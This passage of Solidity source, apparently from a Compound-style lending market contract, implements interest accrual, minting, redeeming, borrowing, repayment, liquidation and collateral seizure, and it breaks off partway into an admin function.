should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, 